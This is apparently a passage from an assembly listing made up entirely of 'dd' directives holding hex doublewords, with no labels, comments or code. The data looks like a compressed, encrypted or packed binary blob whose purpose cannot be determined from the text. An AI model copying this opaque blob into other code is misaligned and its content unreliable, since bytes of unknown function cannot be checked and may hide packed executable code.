2893DB49h dd 3B5638A1h, 539DB732h, 3E8647Fh, 2018421Ch, 9F0243A8h dd 3D90A13Dh, 0FF93EC8h, 20BCD91Eh, 41B1D44Fh, 11010033h dd 0A4400343h, 6700DE34h, 0D8B4D753h, 88FC3Fh, 0DAAD330Ch dd 24CDC029h, 0F753FE00h, 1CA7A5D2h, 3E500195h, 91DFC8A8h dd 0B24460B5h, 55AFF39h, 17314FEBh, 6A697F80h, 5B301E21h dd 63FC09Eh, 56846B4Ah, 0D3A38B2Ch, 0D044CF07h, 32EB6D70h dd 40B20007h, 343F0937h, 26002D1Fh, 18465698h, 0F48071B5h dd 0CC020035h, 0EE4CDA24h, 40001E09h, 8339B045h, 0D5CFAAh dd 0A81AC91Ch, 0BBA5EDDAh, 5A962F0Eh, 0D748C0A4h, 0F3FE63Ah dd 35252991h, 0C717BB60h, 1D006434h, 0A2D3D2E2h, 0E14F6Ah dd 0B345233Eh, 20A9840Ch, 0E4EC3Ah, 0AA5382B6h, 4C092293h dd 0B00FFBADh, 4FAF8157h, 0C010DA47h, 0F8BC1F2Ah, 9E031BB8h dd 79BF4A85h, 6425A0FBh, 0A60C0F17h, 758F9339h, 7DD8C560h dd 0ED7A8D35h, 0E4A83700h, 0D6561CCEh, 636E2A1h, 3465401h dd 76007662h, 0E8028891h, 30D7B5Ah, 707E843Bh, 0F0F77A85h dd 0AC758224h, 0D1E62798h, 9F952200h, 0D12A4FCh, 7A340047h dd 0E804C8B9h, 7E3CC0ADh, 8770808Eh, 4DBEE269h, 54F20E3Eh dd 9767FC24h, 8BA4D08Fh, 76072B5Ch, 0B5BCC025h, 0B752B620h dd 0F0F6F1h, 0D092717Ah, 0FE81385Ah, 13DF8C00h, 883F0848h dd 0A58B01B0h, 5E956B77h, 0BBBD3092h, 0D3005BF0h, 2704F3F0h dd 11B974h, 9669508Ah, 1729BBC4h, 587CC80Bh, 0FBCF0048h dd 3EED805Ch, 0FD00C74Eh, 35BFC195h, 320009E5h, 0E1731E82h dd 85CA3Bh, 54862F07h, 109E6AE7h, 37B47E01h, 4E05ACBEh dd 0B16FE8C7h, 393B3827h, 7822F980h, 0BF8EC59h, 6A3A401Ch dd 0C38C49C0h, 2AFE909h, 97B4ED7Ah, 11601674h, 2FE21CC7h dd 0B1283C00h, 0DF1ECBF9h, 0AD3D00DDh, 8AFA2730h, 653A22D2h dd 34F49E60h, 9FCF3B40h, 961152h, 0FF8E2E25h, 553C0310h dd 0AF04E4E5h, 1B0061F2h, 0D5A71477h, 37F4062h, 0A23F9A2Ch dd 0C590832Eh, 9D054B6Ah, 0C35691Fh, 455ACD00h, 0E79117h dd 324A8110h, 22C2098Fh, 0EFB8B000h, 0D6E22EFCh, 0AEEE00A7h dd 5F74DADFh, 6A00B945h, 0BA8D4CD5h, 1BDE453h, 0D6F8A032h dd 0CC653B40h, 0C8168E4Bh, 6603B809h, 88C9172Fh, 16D1CD99h dd 0CF27A9h, 0D3672D0Fh, 4B00246Ah, 0C73D9C15h, 388712h dd 0E1B5358Eh, 207B3AD8h, 3C5A101Ch, 0A14C2FCFh, 0EA9E0942h dd 0C732D8h, 14FB89B0h, 3CDDA53Ah, 0A75DD901h, 932156D8h dd 0B795A0E3h, 20B80010h, 8CBF553Dh, 7E0007F8h, 407D42FDh dd 505AA41Fh, 722BF1DAh, 25180EA7h, 8CE0336Dh, 0C81E1479h dd 47895C00h, 9298714Dh, 4ED51D64h, 7D2E40F1h, 0E637DA78h dd 46B9C400h, 4B363A3h, 0BCB41CD0h, 0DDCEC0ECh, 0E06F25DFh dd 7668EA0Fh, 603E4E20h, 3B644E2Bh, 487109h, 22759166h dd 0A9944487h, 15BD8900h, 79566AA8h, 3A430913h, 5900DBB3h dd 0A2580693h, 1D52FB00h, 9E947E59h, 1E3600F5h, 0CB349525h dd 0AA003308h, 0A7E4C068h, 0F27AC322h, 2BE00051h, 6B0D85E6h dd 0B03F1F6Ch, 6919DA4h, 0F64C880h, 4815F4CAh, 0C4002940h dd 24269DF7h, 8D00090Ah, 6B5867EBh, 0E106F0h, 86C403AFh dd 912C2040h, 2A621D01h, 4F28023Fh, 0B866F8h, 0A2F49C92h dd 1C575E09h, 0DF956700h, 729A3F2Eh, 0A1651C96h, 0B2444140h dd 70CAFDE2h, 1A07551Bh, 74B66068h, 8C9C9ED0h, 0B99D0042h dd 0C8596D4Eh, 38C01CECh, 0CAFC4F7h, 54D20050h, 2C634585h dd 4100723Bh, 154A0B4Fh, 355ECBh, 70AC4EA8h, 5FD5BD1h dd 95796406h, 90740B9Dh, 11FEE7h, 2DAD3FB5h, 0A66E64E7h dd 0A410500h, 0E3AFB666h, 3C6AF609h, 0F300FCBBh, 1354B0Bh dd 9800FAC6h, 0C046D13h, 901C4E06h, 0A4AA0075h, 8DB8F011h dd 2400640Ah, 0F243AB04h, 15007DEh, 0FF5F6AFBh, 0DC45E2DDh dd 0B80BF7B9h, 80CE9504h, 0C451611Ch, 3DBA0EA4h, 0AE7C5F0h dd 386A8088h, 3C039964h, 0A0108DA8h, 0D10B1DACh, 423483F2h dd 14D8B2D8h, 0EF486A4Eh, 27400086h, 96554152h, 4D050775h dd 0A054BA08h, 0FC7328BBh, 68008C74h, 6B2F135Ch, 4E5142h dd 0D55247C2h, 0DE9DA396h, 43DA4100h, 77A98F27h, 2DAC00C5h dd 3A1DA6DFh, 7E009D30h, 0D76967EDh, 13CA6Eh, 588DBADh dd 847D8351h, 76818700h, 0A19BCCB8h, 2D900089h, 98F50CE6h dd 0D7975F4h, 0BB167B00h, 310157FDh, 0C353064Bh, 662230EBh dd 130073B8h, 90FA0681h, 53B858h, 0AB2CDC59h, 30680D1Eh dd 3E25E93Eh, 0FC059C73h, 0EFC350C1h, 70E4BDB3h, 0F2213EB5h dd 34232CFFh, 0CD00F37h, 604485A7h, 31382433h, 80522831h dd 54E41940h, 87C99h, 144B2C11h, 7955A41Ah, 74A17D07h dd 8B9303E8h, 0F60AB024h, 0B35300DDh, 5010255Bh, 0BEE60D5h dd 0E2308300h, 9750E01h, 487E00FFh, 0A7521AA1h, 400D50Ch dd 62BEE0DEh, 8153A0h, 438FE831h, 3325D16Bh, 0E909D275h dd 0EBB4B47h, 0C8EF80D3h, 0EF26610h, 0B40A657Bh, 0AF80FEEEh dd 5312EC43h, 295EEF0Eh, 7206803Ah, 7BA2EAh, 7885463Bh dd 0FAFFD11Ch, 0D76C0E03h, 80FE4F0Fh, 472A7Ch, 7E8BF633h dd 62C074C6h, 52605307h, 0D1B77718h, 0C297BC0h, 12440F9Fh dd 0CC20F804h, 1A4626FFh, 0D9754F01h, 0A4DC4381h, 7FF59AE8h dd 1C2C072Ah, 30D6AB18h, 373FE828h, 1AC758h, 0EC99EA24h dd 5FA858h, 264C4442h dd 5B2DAF53h, 0E094D500h, 3B1C98C4h, 74F9A0BEh, 547300ECh dd 3ED6AA20h, 5198E2C1h, 5F184300h, 89652E7Ah, 545E0B24h dd 360040D0h, 0E40594B1h, 7E75D40Eh, 81CC3A1h, 4842C020h dd 50EEA6h, 19D0DC7Ch, 0D3245303h, 70463700h, 18C2A028h dd 1834FA89h, 5A12FF82h, 0FC00AF74h, 5F39DB31h, 0D8E2B0h dd 7E1DFD94h, 7CF60542h, 82000EE6h, 680AA21Ch, 974A18h dd 40A5EB63h, 37148D3Eh, 4BC23B00h, 0B2D6FB7Dh, 0EE7717h dd 910C1867h, 0C7D7C6B7h, 0AFC8A500h, 7F95A215h, 0B0040017h dd 82D4BC92h, 1C007B29h, 0E0E8515Fh, 0F303231h, 330A440Dh dd 9B0C960h, 3B02010Bh, 67D1C50h, 49DB608Bh, 9076010Ch dd 78C3C129h, 7EB8304Ah, 5A8C081Dh, 7F56CA40h, 1749BBh dd 48DA1A32h, 71546CB9h, 731F9E7Bh, 3D817256h, 75D13C89h dd 868042BCh, 2C438890h, 9C71BE97h, 4548CB00h, 58FDAD80h dd 0CA1F2820h, 0E81201E8h, 94684693h, 7034E4D8h, 7E0E37F6h dd 0E0B7C11Bh, 0FED74E97h, 0F7C0302h, 6D3D7AF5h, 601F4DF8h dd 0D2F13304h, 3F822D37h, 88B3638Ah, 0FA092h, 2808FD16h dd 0E29C5E48h, 0FE00187Ch, 24B6BA8Ch, 4E99E1h, 3172403Bh dd 20A621EEh, 9028A900h, 8DFEF55Eh, 54BF001Eh, 51C4D9A0h dd 4470AB0Fh, 1C4BFF00h, 38BB5D9Dh, 0FEA7132h, 7607B91h dd 149500D7h, 0AAD504F0h, 0F7303Bh, 5BDE97D1h, 107EB8Bh dd 5DC9CAD4h, 0E8871067h, 0D50027E9h, 18D02325h, 2EDAED84h dd 3F70A56Ah, 46FDC580h, 8E4769EAh, 0C3A1F400h, 838006C6h dd 5198FFh, 0EF37107Eh, 0C4AA142Ah, 638A5D0Fh, 351E977Ch dd 2FB42480h, 43D2D9h, 0CED555Ah, 70571908h, 871D79FAh dd 54CF2088h, 803C004Ah, 638A551h, 58A2B891h, 89000B15h dd 88BC461Eh, 0EA4E5690h, 1877F2h, 0EB1AC0Ah, 772E6D41h dd 706A6200h, 7899DF60h, 14510010h, 22836350h, 7D5C4161h dd 73760E0Dh, 0BF67606Eh, 44704Eh, 680E4A19h, 47667157h dd 407C4100h, 6E727660h, 4CE900F9h, 6BC47ADDh, 6409F07Fh dd 80A66974h, 534018CFh, 48770061h, 0B37C577Dh, 4E019046h dd 7BE16ED3h, 62F89E67h, 8E700EF9h, 0FF1C1743h, 826C6F1Fh dd 603B7165h, 731ECBC0h, 5F697D02h, 0E09EBE44h, 1E20AA15h dd 800E1343h, 522A6670h, 71000C9Bh, 0EE4A7A73h, 0F888DE65h dd 1243001Ch, 3637E72h, 61776D55h, 0B0604A00h, 0F07C6462h dd 67700166h, 460E4486h, 5276EC0Ch, 45B0711Ch, 743961C2h dd 6EF6E063h, 0C7D81DADh, 66F1404Dh, 76CC6A4Fh, 77146400h dd 0A288477Fh, 0C12A000Dh, 2E54720Ch, 4B000E73h, 0EA6F4363h dd 581862h, 6C1C6847h, 77875166h, 31706B00h, 1D466365h dd 74487140h, 1F077972h, 80615167h, 74945527h, 88070F28h dd 4AE36F54h, 6E40E29Eh, 0D373E06Bh, 429E0078h, 13048FEh dd 6A0E654Bh, 0C7636961h, 0D3E128C0h, 87C421FBh, 0F860F834h dd 681E009Fh, 486E38BFh, 95073052h, 1447CA1Ch, 3741150h dd 61670046h, 60886376h, 8BA05677h, 6D000A62h, 7AA87D66h dd 0E851F0A1h, 0AD210070h, 296F3A30h, 0E0FE626Bh, 9E68573Eh dd 0EA0BE276h, 24C8045h, 3140E65h, 1830A560h, 48B07742h dd 0B6006C63h, 74417289h, 613A71h, 1C0696Bh, 7A7B6DCBh dd 0B7C24400h, 5A0D10DCh, 0E01C7AE1h, 0B82A0175h, 0E639C31h dd 0A92FC8B9h, 80B3C400h, 7E2ABB5h, 84CB00A4h, 0A642143Ch dd 0BC009996h, 642D45E5h, 382ACEh, 7B2B4CE4h, 406A0B86h dd 0BB505Ch, 44A19946h, 7D0D3951h, 14101E15h, 67FC80C3h dd 28B4C28h, 3D00F00h, 0C2203C50h, 17403AF6h, 21742B80h dd 1CA73E16h, 0BA98FF00h, 61C40775h, 1D4775F7h, 0C2D1658Bh dd 0AC95C031h, 0E35E4DE0h, 51291800h, 1B147945h, 0D2380457h dd 81E7E0FBh, 60F1FFD3h, 24007CB5h, 2D46DD69h, 0EBFF497h dd 0D55349Fh, 0F7A42520h, 9178C912h, 14B8801Fh, 8C850F00h dd 0F2AEB19h, 0CE906544h, 7481644Fh, 71830E54h, 0D020CD66h dd 1A004240h, 122E3C32h, 262FE175h, 1C8FD16Dh, 0E861C085h dd 0E6AC4A5Fh, 1A552800h, 23224653h, 71110E44h, 528033B2h dd 35752B03h, 19998D00h, 0BE15811Dh, 0D0FA00A4h, 53451BACh dd 9000C343h, 4ECC175Ch, 0B140A8h, 100E5BE5h, 0ECF17A24h dd 28B80AEEh, 58A01A00h, 1BE82654h, 8BA71D76h, 0BED10069h dd 0AE173B19h, 18F58900h, 0C35B02D6h, 884E0055h, 3B975E9Dh dd 0C000F2DFh, 0A5CBDB1h, 7A768B25h, 0AA830E12h, 5A204E7Eh dd 7AD026BEh, 2844B51Fh, 1100B8D3h, 0FC5D8E40h, 335C2C8Ah dd 183A0043h, 1B10475h, 3FE9EB00h, 84ED1C80h, 1DF807C9h dd 0F0C2FE9Dh, 7A325434h, 0A556EC00h, 93FAB2AAh, 8F8100AFh dd 0C84BBA75h, 0EA00C434h, 4F7DF7FEh, 25378AAh, 8CA82F21h dd 436084DBh, 0FC7A46E9h, 930157F0h, 0C40C21CCh, 0B8C7C890h dd 1C248D4Ah, 0C0BD86F0h, 511216FDh, 0FF7D42B9h, 10FBA100h dd 88FEF822h, 0DFE90F41h, 0B3473E6Ch, 0EBA5815Eh, 0F0BAF0B4h dd 0CCB70100h, 0BDBFE02h, 8B170074h, 4ABF5CC3h, 760F09F8h dd 545DF0Ch, 0FB80EB0Fh, 2D6995h, 0E885D959h, 49BA1E37h dd 5DCCC300h, 0F07D833Ah, 0EBF93D10h, 365097h, 0D9028E0Fh dd 0C80F6CADh, 40160615h, 0EA9674Ch, 11758Dh, 0B7987827h dd 0C514D885h, 3C958700h, 0A15DAF9Fh, 8D5601B1h, 43CF49B5h dd 1B2480C4h, 0CDC340B9h, 47823C5Eh, 1B66A12h, 7F17FB56h dd 851EC422h, 0BC49403h, 0D0763F0Fh, 0F4BA3437h, 8C310053h dd 1CEB7FD8h, 0C02C3C90h, 27002784h, 558BF1B8h, 0EF360006h dd 26DC4522h, 0E8000A10h, 82D4BF3h, 32FEF4h, 8A2FEC2Eh dd 0D76219D6h, 830003E6h, 8EC1A5F8h, 14546C6h, 6EB029DEh dd 0C8305399h, 2600567Eh, 82502D13h, 259C7DDh, 44B3D375h dd 0D3C095BAh, 400A58Dh, 4FF53FEAh, 8C7CFFh, 42297AE9h dd 34288B01h, 0F0210407h, 0C70515Eh, 15F4F48h, 9B5A0F7h dd 0D8FE3020h, 603C3E57h, 6C5E8051h, 11790114h, 4A0F00D6h dd 55D0DCE9h, 743EBD56h, 2BDA80BCh, 40722EBh, 8053B84h dd 12410C01h, 0E028C310h, 0F600D311h, 1CBA2F13h, 3455251h dd 87A2EBC6h, 0E4A0BFE5h, 0AC00F24Fh, 6C7E8086h, 1A7434h dd 512F822Ch, 0CEB5E4Bh, 800377Ah, 0ABC66F8Ah, 0BA91C93h dd 0CEAF8B5Ah, 90D35707h, 16B5D1FDh, 0DDAEFC00h, 0DA96AF4h dd 1BEE004Eh, 0ECB34F89h, 0C0047D8h, 0B45EBD03h, 0D224BFh dd 60923949h, 9F6BE41h, 32E6B07h, 9E30E4BCh, 0D31840h dd 244C283h, 0DCA12550h, 805D203Eh, 80D0FF04h, 6583F0h dd 0B106FE3Bh, 76BE695Bh, 6EC0FA00h, 73BF1210h, 0E333000Ah dd 0D854045Fh, 0A90352EBh, 257435A4h, 6D069022h, 905A007Fh dd 0E99527C3h, 8900AAFFh, 821B4E42h, 0EC0257EBh, 0B8D3F5D6h dd 5098F23h, 12D5BEDBh, 0B4B00092h, 837825E9h, 46EC600h dd 0E0EB72B6h, 7C75038Eh, 14AEA1A8h, 0D99548A0h, 0EE000E4Eh dd 279F2838h, 16770756h, 0E7EB2DB4h, 0D92A62F1h, 0CF228E60h dd 0CEFA3300h, 63B87924h, 76DA0049h, 0D428B921h, 0B7007599h dd 432FD9B2h, 2356A7h, 464592EEh, 690C16EBh, 30B3B00h dd 24CF2BCAh, 0DF8A006Fh, 0AE4927Ch, 0A000275Fh, 91F333Ah dd 0F383C50Ch, 0D8C8E931h, 1E993EB5h, 82920E00h, 0EB68422Bh dd 75014F00h, 3C6D2859h dd 96E60025h, 0D4DDC30Ch, 80072089h, 1DC0267Bh, 0B50098B7h dd 437EE0h, 0F5AC921Bh, 0B0C1D73Bh, 450C532Ch, 0EFC25000h dd 437FC6h, 2856A9F9h, 8F7D0EEh, 0A8517A00h, 2DA6D3AAh dd 8C4D005Dh, 0BF156726h, 13007387h, 3FE5F685h, 7031188h dd 0A4BC625Ch, 0E08DF7AEh, 0A9841D6h, 8024683Eh, 0FA92A97Dh dd 0F4C5E5A6h, 19640F34h, 0A500A8BEh, 358498F2h, 28033372h dd 9D863210h, 0E628039h, 7A2C1D11h, 8158CA2h, 2B7D4F0Ch dd 28783F03h, 0A90C5820h, 63C510AFh, 75D0EC0h, 0D7B153C5h dd 294E00B7h, 3E037654h, 7D7A47D2h, 717CF190h, 609825E0h dd 8563822Fh, 6B006E96h, 0EC3DFB4Bh, 1E4C52ACh, 0EEAFF5DBh dd 2EDC0941h, 3752880h, 0D7B850B3h, 6899D500h, 2C78B22Fh dd 49F2015Dh, 0E27BCDE1h, 0A391F004h, 1253430Fh, 4EA2A0F0h dd 29C6F5h, 4138DA0Ch, 0C7FD04D8h, 4FEC3F00h, 1E4319DFh dd 0C3E809D6h, 880CA07h, 1AC11BC9h, 21B9F58h, 9C18153Bh dd 1254E047h, 0C550001h, 9FAD0575h, 161F8AF4h, 8414258h dd 1A91CB03h, 0AF46FCh, 0B454BF2Ah, 0D5E868E1h, 0B9CC8900h dd 8D6C2730h, 527E003Ch, 0A7EC044Bh, 0E400E85Bh, 104914D5h dd 0A0DA2Ch, 0B619890Ch, 0FAD0FB04h, 752D3C01h, 0E2F0D1F1h dd 721C64D8h, 0CC7B0024h, 15D63479h, 0B3003E35h, 64658420h dd 384E3Dh, 0DC5B6C21h, 91879D68h, 0A4A22404h, 4EC09015h dd 71E4CB2h, 5C7AB3FAh, 0AC6607Eh, 0EB07EE47h, 0D7FFE215h dd 0DB497190h, 45170314h, 0A130306h, 2E77F098h, 48F0F2ABh dd 4A3E6FE5h, 816A3A8Ah, 0EBFEC134h, 9A70F31Ah, 0FF0A00C0h dd 0E4390855h, 0BAFE7347h, 0E0257F00h, 5ADEF7FBh, 45600728h dd 618A6543h, 0D94CD0A8h, 68E8EB85h, 4D9C7DE0h, 84A22C06h dd 1CD6EAC4h, 0C0096422h, 0BAF5784Ah, 0C400EB0Ah, 0B6E83C80h dd 4CC1E924h, 11DAEA7h, 0A9840003h, 8AB08805h, 0C0001CE4h dd 80CA8B2Eh, 7E690C1h, 0C7D31EE9h, 40FAE70Fh, 0E1040675h dd 72102C00h, 0B0368332h, 0FC3A0090h, 0FCCFD20h, 8100FB92h dd 83D02BB9h, 2CDD05EAh, 395280C2h, 65E8F980h, 488E3763h dd 308DEDE5h, 3A0E51B3h, 0BCC990A8h, 68A1C07h, 1757ED1h dd 0A0881FC0h, 0F2EB3CF2h, 4FC0032h, 5C9FB9EFh, 42006C4Dh dd 0FF54BB17h, 4722B87h, 46F302D8h, 0F880EE89h, 3E0313A4h dd 1D004D93h, 7601C71Ch, 0EBE09237h, 0E93C1703h, 0D00467C0h dd 3F052AC8h, 0EE82B14Eh, 8DABAF16h, 0CC7EC0DFh, 720904E8h dd 80F6D48Fh, 3DD3BD3Ch, 0D1242EFAh, 0C6006A71h, 1237E903h dd 2B9600AAh, 108DE776h, 3A0075B8h, 0C45420A7h, 1F2C0F3Eh dd 0C4097202h, 874A0CFAh, 0D0A3B0CAh, 2D008319h, 0B4CFCCE0h dd 66ED10h, 0F8AD68E7h, 851C7DA4h, 0CCF4423Dh, 7B301D4Eh dd 3F13DAEEh, 185C4D02h, 688E0E8Ch, 0DE26001Dh, 7DF8C549h dd 0D2E20300h, 7F242305h, 29700A1h, 0E0F9FDF2h, 0EE007EC9h dd 0BF82D8ADh, 0ABA3E8h, 0EB058567h, 0F516031Bh, 0CFD7EA00h dd 0B8AA5584h, 51271E91h, 0E8D04040h, 0B2566F20h, 7396DD05h dd 5580DF44h, 77FFA2h, 75CBFB59h, 534FC04Eh, 92747F24h dd 1800E024h, 0DE4BE810h, 9E140E12h, 68AF9608h, 0EB1E0AE0h dd 0D20B9349h, 803FB0A3h, 0A850EFE1h, 4A170094h, 7D5F32BCh dd 11008279h, 41C9945h, 3F1ADA0Dh, 130ED1F5h, 6C60B3C7h dd 45AB85D8h, 14934400h, 1A42F883h, 0AE7F7Fh, 47498476h dd 88D6CB55h, 23517100h, 54B88A3Eh, 37320025h, 3CD160B2h dd 5300F71Eh, 14421343h, 797AF1C1h, 0C89C0076h, 0EA2C7E4Fh dd 0F5004B1Eh, 8F8C04CAh, 4CBFA749h, 40001B32h, 0F8D7F484h dd 6500929Fh, 0D43DAF3Fh, 496659h, 0A9A44526h, 47441653h dd 0A69DAE18h, 0EC550Eh, 0ABF00798h, 3B06E98Ch, 75E89300h dd 0D9E23AE1h, 84503D4h, 0A7C77632h, 0FF96EBE0h, 4F127A1Dh dd 0AA39C4C0h, 24F46C58h, 3B184487h, 8130299Fh, 463B03D8h dd 0E43AE881h, 0AE1756FCh, 8500F1E0h, 342D220Dh, 85000CCh dd 0DED4BA04h, 0B400E542h, 6B1CDAB6h, 74AE9046h, 16A11F8Fh dd 7CA88E8Bh, 0CAFC5B60h, 920034F5h, 1C5815D1h, 0E3AC6Eh dd 8F433614h, 8C9C46A2h, 8A40F101h, 814A3B08h, 603D840h dd 428D0050h, 4D98EA0Ah, 2900E8F0h, 845E575Bh, 0A0D2754Bh dd 0CCED8Ch, 0F0BE481Ch, 0B3AE8C0Dh, 9AFC6A00h, 7FE7F353h dd 0F5DF03AAh, 7A8D7B58h, 22B5780Fh, 2FA4035h, 0F3F4CB8h dd 2FBF0142h, 53A22A00h, 33001034h, 6547E788h, 3D180C04h dd 0AB805249h, 41B26CECh, 0F586E34h, 70690052h, 37AF60A3h dd 2162005Ah, 1D6B400Dh, 0DB3B2B88h, 0C805003Ch, 0C4156550h dd 0BF77E9h, 0F12F40Ch, 95845D85h, 3C3E9A67h, 0C74E30C7h dd 43501C6Ch, 494E38h, 800EF8FCh, 7E9AD9Dh, 0EC007571h dd 0D43808FDh, 855FC9h, 5EB133A3h, 0BAA068FCh, 119E3202h dd 0C054DF08h, 7E14DE57h, 5C69006Eh, 4F77042h, 4F5C2A6Ah dd 300D1FD0h, 0B01C8700h, 1F625FD6h, 0E651C8h, 702EC949h dd 0A10378BAh, 0A3015785h, 954ED020h, 0D34900C4h, 0BAFD561Ah dd 541E4406h, 7B43A155h, 0B8503CB0h, 1CE00B04h, 80A80858h dd 5B4C53E8h, 0C400C98Bh, 0C62D4B9Bh, 0FE48475Ah, 706C0161h dd 0B8877B34h, 8350DDA1h, 3899940Fh, 42F397B2h, 430B07A0h dd 323CC8D1h, 6F000AD8h, 243D05h, 7728C342h, 6119CA17h dd 4015BA00h, 9504890Dh, 3C39EC6Dh, 0AC804582h, 0BE51C270h dd 0B8004929h, 0C61744BBh, 4A407Ah, 3BD2AF24h, 33F2B911h dd 0BCB37B16h, 0E4751600h, 0BB6FF5Ah, 0DB2493B8h, 302D6580h dd 0DC00EE0Bh, 0FB832E57h, 0A32259h, 5CDF1198h, 733DB092h dd 0DEA7021Eh, 9521E42h, 6821C013h, 1E50084h, 0C419FED5h dd 0BA0005C8h, 0CB5F4F1Ch, 2B82B54h, 0EAA2E809h, 0A2C1CA03h dd 30F1600Eh, 5F58A37Dh, 8BBF0094h, 0CCE8DDD8h, 24BA070Ch dd 0B0CF6D38h, 467154ABh, 8EC2130Eh, 0A0F12F10h, 204DE4E2h dd 3CF87708h, 22584354h, 0E80FEC00h, 945E6A0Dh, 41FD301h dd 1CBE6096h, 31FCBD40h, 4C5001C0h, 0A80E6802h, 7FAED4AAh dd 3FFFE400h, 0E6DE9481h, 10793CDBh, 0B881D53Ah, 6DFEBDAAh dd 3CC0200Bh, 500A6500h, 86EA015Eh, 55D404E1h, 80FF31F5h dd 40DEDDB3h, 51118300h, 5C196795h, 107F001Fh, 0FEFAF876h dd 0CF031896h, 0D6148E60h, 50FCF072h, 0D5380088h, 8702BFEDh dd 8D26559Bh, 0B300E052h, 507A366Ch, 0FE3500F6h, 0ADD66AF9h dd 5002818h, 47CA0CC1h, 4FC8D53h, 0C6297BDFh, 0F09587DCh dd 0A94FFD0Fh, 0EAE1AB00h, 0FCD4A7FEh, 3F750029h, 12E653FFh dd 0ECB064A4h, 3FF4FA4Ch, 0E9098082h, 22021845h, 0DB313D53h dd 0E5E8B780h, 0E2ABC8A0h, 3F61F600h, 750F09C3h, 5D7D07h dd 0B355565Ah, 0D14B1620h, 810CEA3Ah, 527333D6h, 0EB20077Fh dd 114000B4h, 31577242h, 43F8484Dh, 9729863Ch, 0F3002625h dd 544CF20h, 0B3850266h, 7C080C2Ch, 3B4C980h, 2B1F4BD6h dd 0B0000A60h, 0C8022E18h, 3F800F06h, 0DC01353h, 2008101Ah dd 4AA64126h, 3ED0003Fh, 2440D848h, 0C2790950h, 38805F86h dd 8E0E7412h, 28824C01h, 0C780D231h, 0F7E2C8h, 4101028Ah dd 0F686140Bh, 7570E000h, 0DE3C58F2h, 7637723Ah, 3378F7h dd 801F7BCDh, 44470FF8h, 73C6F600h, 0A3A5275h, 0E6B37740h dd 54D30F20h, 5C401460h dd 612BC889h, 817A4400h, 586A07E2h, 0F0C43FE4h, 781CC91Ch dd 40CEDC60h, 1001DF6h, 10B77538h, 1C9EBA3h, 39F00A7Bh dd 0ECC156CCh, 0BC00FA04h, 869460A0h, 0EDEF69Dh, 3FAC8313h dd 0D089AD00h, 807DCDEBh, 0A8201E00h, 0EA7D901h, 0A2F10021h dd 0CF02F2F0h, 0AC3910B8h, 0D06A4A4h, 1A24D904h, 669CFA81h dd 7397B0FBh, 0C4883C05h, 0E072500h, 0F62FCA5h, 0EA7B8401h dd 2F2985FAh, 0E0499F0h, 0E03906ADh, 32C30720h, 172C7440h dd 1739997Ah, 74126601h, 0D9075913h, 804B49BFh, 5BBCE94Bh dd 0A41002EBh, 6143536h, 222AD880h, 480FC8EDh, 0A0026433h dd 0BD105CCBh, 0E8E00B70h, 9407A326h, 2A271FC4h, 3E45A01Bh dd 5500A98Fh, 0D84BC179h, 0DFBBF3h, 0CED2031Fh, 0F25B64BEh dd 0BCC45424h, 791B200h, 4A0250h, 18066C74h, 3FEB2880h dd 1D8D3700h, 0FFEEB90Ah, 91FCE340h, 0CB3104E8h, 0C0EB7460h dd 362C13E9h, 230311E8h, 5BD24C30h, 0B0E8A097h, 5A8A098h dd 0D4370734h, 20358BB2h, 0EC0DC402h, 318E800h, 3C836F11h dd 0B91200A1h, 0B1437194h, 76003689h, 0C2230FC0h, 0FF4BA14h dd 0ACFE2F70h, 1588E200h, 32003A8Bh, 809DA2C8h, 49A03Dh dd 0ECA11A74h, 509E5CB9h, 32872900h, 0FF10280Ch, 81A60015h dd 5854C35Eh, 2000B22Ch, 5FB7DA36h, 3E94099Ah, 5EE09332h dd 83F07072h, 0E224B90Fh, 34801E1Ch, 5A7CA63Eh, 0AEF90312h dd 1BCD0854h, 0CA27F8E8h, 6AF59004h, 0BB878405h, 0B464FCE0h dd 0E0C3C72h, 0B844007Bh, 0C0507076h, 171EB4Ch, 8C66C700h dd 8304A8D8h, 0EAE90010h, 0C3FA3265h, 0E5005E75h, 186C644Bh dd 6288E8h, 98580F1Ah, 28682BF8h, 54059A0Eh, 66007C8Fh dd 20CD02EBh, 2D500E89h, 2098C75Fh, 1E00A2D7h, 9A84B58Ch dd 0EC3EAh, 4647BE66h, 4A4DBF83h, 0E81A0700h, 57ECF391h dd 81C32C69h, 7422097Ah, 0B5408300h, 0C0010A6Ch, 38F640Ch dd 3DDCD0BAh, 5CC10042h, 525051C3h, 8807EE66h, 942C4AE9h dd 0DF2D62D0h, 0BE5C0021h, 9EB0734Bh, 0AC3C6942h, 0F25850h dd 0E23B358Dh, 0FA01318Eh, 3463007Fh, 0D7EE56AAh, 3600A5B7h dd 0C67835Ah, 91D6F2h, 9A65E28Bh, 9F480DE0h, 0B3805107h dd 0D9250F4Ch, 2ED778C0h, 0C31328C0h, 0F99D00EDh, 434907D0h dd 0A650545h, 0C4C34E04h, 0E0158B0Bh, 0EA5657h, 3685944h dd 30058B64h, 3C148500h, 421904F2h, 0C4080F02h, 4B80A829h dd 96E88031h, 0AEE79404h, 0E7855491h, 0B27862C0h, 1859005Eh dd 0FE6A8B29h, 2713ABDh, 8624FF00h, 27C067C7h, 33CB0E68h dd 88091DBh, 0E8507417h, 62005AFCh, 0F207E688h, 97D36Bh dd 51759BB4h, 1457C922h, 0A2199513h, 0FBEE12h, 4CBBD4DEh dd 600F713h, 560B245Bh, 1CCB3A73h, 9F92EBA7h, 403B1F3Dh dd 5C6ABA0Ah, 3501FF4Fh, 93E1AA2Ch, 768006A6h, 8FB6751Bh dd 503AC297h, 11EC805Fh, 3CF40E61h, 582F0064h, 74C1487Fh dd 80FAB89Fh, 0FB4F7D00h, 9536D0D6h, 1E40087h, 2410497h dd 0F5162575h, 0C702F45Dh, 409AFC54h, 0EB4599h, 0F97C1A18h dd 8A850B0Ch, 0AA1E017Bh, 8D402E59h, 68EC552Dh, 57B3004Fh dd 0E2AEC583h, 343E1215h, 0F6D2AC75h, 0D840501Dh, 4C32FFB3h dd 8A60083h, 962E5CF6h, 8EF87193h, 221FEC7Ah, 0B44F4175h dd 2B3960E4h, 705F1BC2h, 0EF8F17Ch, 83F41D11h, 16158EA2h dd 784C2DC0h, 80005C4Ah, 58053B09h, 0EE7EBDD2h, 95043D28h dd 0EFEB0B92h, 0CADF1905h, 0A8963BC0h, 424B01D7h, 153B1249h dd 0E10EF0A5h, 683C7700h, 2E855274h, 7FD70059h, 756E8441h dd 8006604h, 4A92BE69h, 0E26B5B10h, 0F313E2E2h, 19C4B8DDh dd 2C874C76h, 2078840Eh, 0F4285E4h, 97801F10h, 41B42C3Dh dd 18BC16AEh, 45AC00BFh, 6E756F46h, 904F6400h, 